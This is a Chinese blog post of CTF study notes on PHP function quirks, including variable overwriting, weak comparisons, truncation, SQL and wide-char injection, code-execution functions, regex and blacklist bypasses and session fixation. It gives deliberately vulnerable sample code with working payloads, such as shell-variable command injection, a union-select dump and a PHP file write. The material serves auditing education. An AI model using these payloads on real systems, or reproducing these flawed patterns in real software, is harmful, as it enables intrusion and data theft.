目录
  1. 1. 变量覆盖
    1. 1.1. 全局变量覆盖
    2. 1.2. $$变量覆盖
    3. 1.3. extract()函数
    4. 1.4. parse_str()函数
    5. 1.5. import_request_variables()函数
  2. 2. 函数对那些空白字符
    1. 2.1. 绕过trim()过滤的空白字符
    2. 2.2. 函数对空白字符的特性
  3. 3. 浮点数精度忽略
  4. 4. intval()函数的两个特性
    1. 4.1. intval整数溢出
    2. 4.2. intval 四舍五入
  5. 5. 截断
    1. 5.1. iconv 异常字符截断
    2. 5.2. eregi、ereg 的%00截断
    3. 5.3. move_uploaded_file 用\0截断
    4. 5.4. inclue 用?截断
    5. 5.5. 系统长度截断
    6. 5.6. mysql长度截断
    7. 5.7. mysql中utf-8截断
  6. 6. 弱类型比较
    1. 6.1. ==、>、<的弱类型比较
    2. 6.2. switch 弱类型
    3. 6.3. md5比较(0e相等、数组为Null)
    4. 6.4. json传数据{“key”:0}
    5. 6.5. strcmp漏洞1:返回0
    6. 6.6. strcmp漏洞2:返回Null
    7. 6.7. strcmp漏洞3: 判断使用的是 ==
    8. 6.8. in_array,array_search 弱类型比较
    9. 6.9. sha1() md5() 报错相等绕过(False === False)
    10. 6.10. strpos数组NULL(Null !== False)
    11. 6.11. 十六进制与十进制比较
  7. 7. md5注入带入’or’
  8. 8. 文件包含
  9. 9. 提交参数无过滤
  10. 10. 伪造IP
  11. 11. 绕过正则匹配
    1. 11.1. PHP利用PCRE回溯次数限制绕过某些安全限制
    2. 11.2. 数组绕过
    3. 11.3. 换行绕过,变量绕过
    4. 11.4. str_replace路径穿越
  12. 12. file_put_contents第二个参数传入数组
  13. 13. 宽字符注入
  14. 14. 二次编码注入
  15. 15. 命令执行函数
    1. 15.1. create_function
    2. 15.2. mb_ereg_replace()的/e模式
    3. 15.3. preg_replace /e模式执行命令
  16. 16. Linux 通配符利用
  17. 17. 会话固定
  18. 18. 黑名单绕过
基于PHP函数特性的学习

学习资料来源于:https://juejin.im/post/5cc011a7e51d456e5d3dac5c#heading-1

变量覆盖

全局变量覆盖

条件:register_global=ON

栗子

<?php  
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";

if ($auth){
echo "private!";
}
?>

当register_globals=ON时,提交请求URL:http://www.zhuling.wang/test.php?auth=1,变量$auth将自动得到赋值。得到的结果为
Register_globals:1

private!

register_globals的意思是注册为全局变量,所以当On的时候,传递过来的值会被直接注册为全局变量而直接使用,当为OFF的时候,就需要到特定的数组中去得到它。unset用于释放给定的变量


$$变量覆盖

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现

栗子

<?php 

include "falg.php"

$_403 = "Access Denied";

$_200 = "Welcome Admin";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);


foreach ($_GET as $k => $v){
$$k = $v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

echo "flag: ". $flag . "\n";
die($_200);
?>

GET DATA:?_200=flag

POST DATA:flag=1

得解…


extract()函数

extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int

本函数用来将变量从数组中导入到当前的符号表中。

检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。

栗子

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

url传入 ?flag=&shiyan= 得解


parse_str()函数

parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

栗子

<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
}
else {

$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '假装这里有flag...';
}
else{
exit('其实很简单其实并不难!');
}
}
?>

url传入 ?id=a[0]=240610708 得解;


import_request_variables()函数

限制:在5.4之后被取消,只可在4-4.1.0和5-5.4.0可用

作用:将 GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。

栗子

<?php  
$auth = '0';
import_request_variables('G');

if($auth == 1){
echo "private!";
}else{
echo "public!";
}
?>

当用户输入http://www.xxx.com?auth=1 时,网页上会输出private!

//导入POST提交的变量值,前缀为post_
import_request_variable("p""post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp""gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg""cg_");



函数对那些空白字符

绕过trim()过滤的空白字符

控制字符

控制码
"\0" "%00" (ASCII 0 (0x00)),空字节符。

制表符
"\t" (ASCII 9 (0x09)),水平制表符。

空白字符:
"\n" (ASCII 10 (0x0A)),换行符。
"\v" "\x0b" (ASCII 11 (0x0B)),垂直制表符。
"\f" "%0c" 换页符
"\r" "%0d"(ASCII 13 (0x0D)),回车符。

空格:
" " "%20" (ASCII 32 (0x20)),普通空格符。

trim() 过滤的空白字符有

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )

其中缺少了\f

函数对空白字符的特性

is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。

也就是说

is_numeirc(" \r\n \t 1.2")是会返回true的

intval(" \r\n \t 12"),也会正常返回12。



浮点数精度忽略

if ($req["number"] != intval($req["number"]))

在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等。

栗子

<?php 
$a = '1.00000000000000010';
$b = intval($a);
if($a == $b){
echo '$a == $b'.PHP_EOL;
echo "a = $a".PHP_EOL;
echo "b = $b".PHP_EOL;
}

// $a == $b
// a = 1.00000000000000010
// b = 1
?>



intval()函数的两个特性

intval整数溢出

php整数上限溢出绕过intval; intval 函数最大的值取决于操作系统。

32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。

举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。

64 位系统上,最大带符号的 integer 值是 9223372036854775807。


intval 四舍五入

# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 这里过滤只有一个intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}



截断

iconv 异常字符截断

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 str 从 in_charset 转换编码到 out_charset。

## 因iconv遇到异常字符就不转后面的内容了,所以可以截断。
## 这里chr(128)到chr(255)都可以截断。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8

eregi、ereg 的%00截断

限制:要求php<5.3.4

功能:正则匹配过滤

栗子

<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

最后访问 http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-* 得解


move_uploaded_file 用\0截断

限制 5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生

move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")

上传抓包修改name为 a.php\0jpg(\0是nul字符),可以看到 $_FILES['xx']['name'] 存储的字符串是 a.php,不会包含\0截断之后的字符,因此并不影响代码的验证逻辑。

但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。


inclue 用?截断

<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>

当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。

个人本地测没有复现成功,报错:Failed opening ‘http://127.0.0.1/1.txt?.php' for inclusion (include_path=’.;C:\php\pear’)


系统长度截断

这种方式在PHP5.3以后的版本中都已经得到了修复。 win260个字符,linux下4*1024=4096字节


mysql长度截断

mysql内的默认字符长度为255,超过的就没了。 由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning


mysql中utf-8截断

insert into dvwa.test values (14,concat("admin",0xc1,"abc"))

写入为admin



弱类型比较

==、>、<的弱类型比较

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型转换成整型再比。

栗子

##方法1
##$a["a1"]="1e8%00";
##这里用%00绕过is_numeric,然后1e8可以比1336大,因此最后能$v1=1
##方法2
##$a["a1"]=["a"];
##使用数组,可以,因为数组恒大于数字或字符串
##方法3
##$a["a1"]=1337a;
##1337a过is_numeric,又由>转成1337与1336比较
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
var_dump($a);
($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);

switch 弱类型

switch 也具有弱类型

栗子

// 第一种:弱类型,1e==1
// $x1=1e
// 第二种:利用数组名字bypass
// $x1=1[]
// 传入后为string(3) "1[]",但在switch那里为1
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}

md5比较(0e相等、数组为Null)

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

这样的对应数值还有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

json传数据{“key”:0}

PHP将POST的数据全部保存为字符串形式,也就没有办法注入数字类型的数据了而JSON则不一样,JSON本身是一个完整的字符串,经过解析之后可能有字符串,数字,布尔等多种类型。

application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml

第一个application/x-www-form-urlencoded,是一般表单形式提交的content-type第二个,是包含文件的表单。第三,四个,分别是json和xml,一般是js当中上传的.
{"key":"0"}

这是一个字符串0,我们需要让他为数字类型,用burp拦截,把两个双引号去掉,变成这样:
{"key":0}


strcmp漏洞1:返回0

限制:适用与5.3之前版本的php

int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,所以可以故意让其报错,则返回0,则相等了

##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

strcmp漏洞2:返回Null

修复了上面1的返回0的漏洞,即大于5.3版本后,变成返回NULL。 array和string进行strcmp比较的时候会返回一个null,因为strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL。

strcmp($c[1],$d)


strcmp漏洞3: 判断使用的是 ==

而判断使用的是==,当NULL==0是 bool(true)


in_array,array_search 弱类型比较

松散比较下,任何string都等于true:

// in_array('a', [true, 'b', 'c'])       // 返回bool(true),相当于数组里面有字符'a'
// array_search('a', [true, 'b', 'c']) // 返回int(0),相当于找到了字符'a'
// array_search 会使用'ctf'和array中的每个值作比较,这里的比较也是弱比较,所以intval('ctf')==0.
if(is_array(@$a["a2"])){
if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["a2"] as $key=>$val){
$val==="ctf"?die("nope"):NULL;
}
$v2=1;
}

sha1() md5() 报错相等绕过(False === False)

sha1()函数默认的传入参数类型是字符串型,给它传入数组会出现错误,使sha1()函数返回错误,也就是返回false

md5()函数如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE。可通过传入数组,返回错误。

##?name[]=1&password[]=2
## === 两边都是false则成立
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);

strpos数组NULL(Null !== False)

strpos()输入数组出错返回null

#既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

十六进制与十进制比较

== 两边的十六进制与十进制比较,是可以相等的。

#?password=0xdeadc0de
#echo dechex ( 3735929054 ); // 将3735929054转为16进制结果为:deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许,但0允许
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);



md5注入带入’or’

原理

md5(string,raw)
raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串 ffifdyop 的md5加密结果为'or'<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

## 执行顺序:字符串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)将16进制转成字符串`'or'<trash>`->sql执行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";



文件包含

原理:include()/include_once(),require()/require_once(),中的变量可控

  • 利用方法:
    • 上传图片(含有php代码的图片)
    • 读文件,读php文件
    • 包含日志文件getshell
    • 包含/proc/self/envion文件getshell
    • 如果有phpinfo可以包含临时文件
    • 包含data://或php://input等伪协议(需要allow_url_include=On)

封装协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流



提交参数无过滤

原理:过滤了GPC,但没有过滤其它部分。

上传文件相关变量如$_FIle, $_GET,$_POST,$_Cookie,$_SERVER,$_ENV,$_SESSION,$_REQUEST
HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影响
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS

栗子

foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

然后通过表单传值

<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>

这里的gid为查询参数

$_SERVER                 //中用户能够控制的变量,php5.0后不受GPC影响
QUERY_STRING //用户GET方法提交时的查询字符串
HTTP_REFERER //用户请求的来源变量,在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT //用户的浏览器类型,也用于用户的访问记录的取得
HTTP_HOST //提交的主机头等内容
HTTP_X_FORWARDED_FOR //用户的代理主机的信息



伪造IP

原理:以 HTTP_ 开头的 header, 均属于客户端发送的内容。那么,如果客户端伪造user-agent/referer/client-ip/x-forward-for,就可以达到伪造IP的目的,php5之后不受GPC影响。

关键字:
HTTP_
getenv
$_SERVER
服务端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
客户端:
注意发送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10



绕过正则匹配

PHP利用PCRE回溯次数限制绕过某些安全限制

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

数组绕过

栗子

<span style="font-size: 12pt;"><?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{259efcb4-bb57-4967-8aa8-8271f04f655a}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
?></span>

解题思路

preg_match接收的参数为数组时返回为NULL

PAYLOAD greeting[]=Merry Christmas

换行绕过,变量绕过

栗子


<span style="font-size: 12pt;">
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?></span>

解题思路

if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip))

结尾带有/m,^和$将匹配行首行尾,可用换行/n绕过

if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip))

过滤了关键字符,使用shell变量绕过

PAYLOAD 127.0.0.1%0a a=c;b=at;c=fl;d=ag;$a$b+../../../$c$d

str_replace路径穿越

原理:str_replace的过滤方式为其search参数数组从左到右一个一个过滤。

## 这里可以被绕过,因为是对.和/或\的组合的过滤,所以单独的..或\/没有检测到。
## 方法1
## 五个点加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替换数量';
echo $countb;

过滤了 .之后

## 这里有对单独的.进行过滤,所以无法绕过。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替换数量';
echo $counta;



file_put_contents第二个参数传入数组

原理

file_put_contents(file,data,mode,context)
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。如果是数组的话,将被连接成字符串再进行写入。

栗子

## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 这个要从burp去传,因为后面的【?】会被理解为参数而截断
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);



宽字符注入

原理:

常见转码函数: iconv(),mb_convert_encoding(),addslashes

防御:

用mysql_real_escape_string

## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
## %df把\给吃掉,所以这里可以绕过addslashes的转义
$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";



二次编码注入

由于浏览器的一次urldecode,再由服务器端函数的一次decode,造成二次编码,而绕过过滤。如%2527,两次urldecode会最后变成 '

base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
unserialize/serialize
字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等



命令执行函数

system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引号调用shell_exec()函数
popen()和proc_open() //不会返回结果
array_map($arr,$array); //为数组的每个元素应用回调函数arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //这样就会在D下生成一个2.txt。
preg_replace()
ob_start()
array_map()

防范方法:
使用自定义函数或函数库来替代外部命令的功能
使用escapeshellarg 函数来处理命令参数
使用safe_mode_exec_dir 指定可执行文件的路径

create_function

create_function构造了一个return后面的语句为一个函数。

#?sort_by="]);}phpinfo();/*
#sort_function就变成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面闭合,然后把后面的全部注释掉了。
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

mb_ereg_replace()的/e模式

原理

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= "msr" ] )
当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行.

preg_replace /e模式执行命令

# ?str=[phpinfo()]
# 这里使用/e模式,所以第二个参数\\1这里可以执行。
# 通过$_GET传入值,第一个参数正则,把[]去掉,放到了第二个参数里\\1,执行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);



Linux 通配符利用

原理:linux下,*代表任意字符(0到多个),?代表一个字符,所以如果是有执行linux系统命令,那就可以用这些通配符来绕过过滤,并执行我们想要的命令

<?php
## 本地flag路径为 /data/sublime/php/audit/3/flag.txt
## ?filename='/????/???????/???/?????/?/*'
function waf($file){
return preg_replace('/[a-z0-9.]/i', '', "$file");
}
$filename = $_GET['file'];
$file = waf($filename);
echo $file;
system('less '.$file);

会话固定

if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通过GET方法传递sessionid

通过get方法来设置session。所以可以通过CSRF:

http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123

管理员点了我们就能使用此session进后台了。



黑名单绕过

原理:通过黑名单将敏感字符替换为空,然而只按顺序执行一次。可通过故意过滤构造payload.

## %*27
## 经典如phpcms9.6.0注入,过滤后去掉了*,剩下的%27即可使用。
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
文章作者: P2hm1n
文章链接: http://yoursite.com/2019/06/16/基于PHP函数特性的学习/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论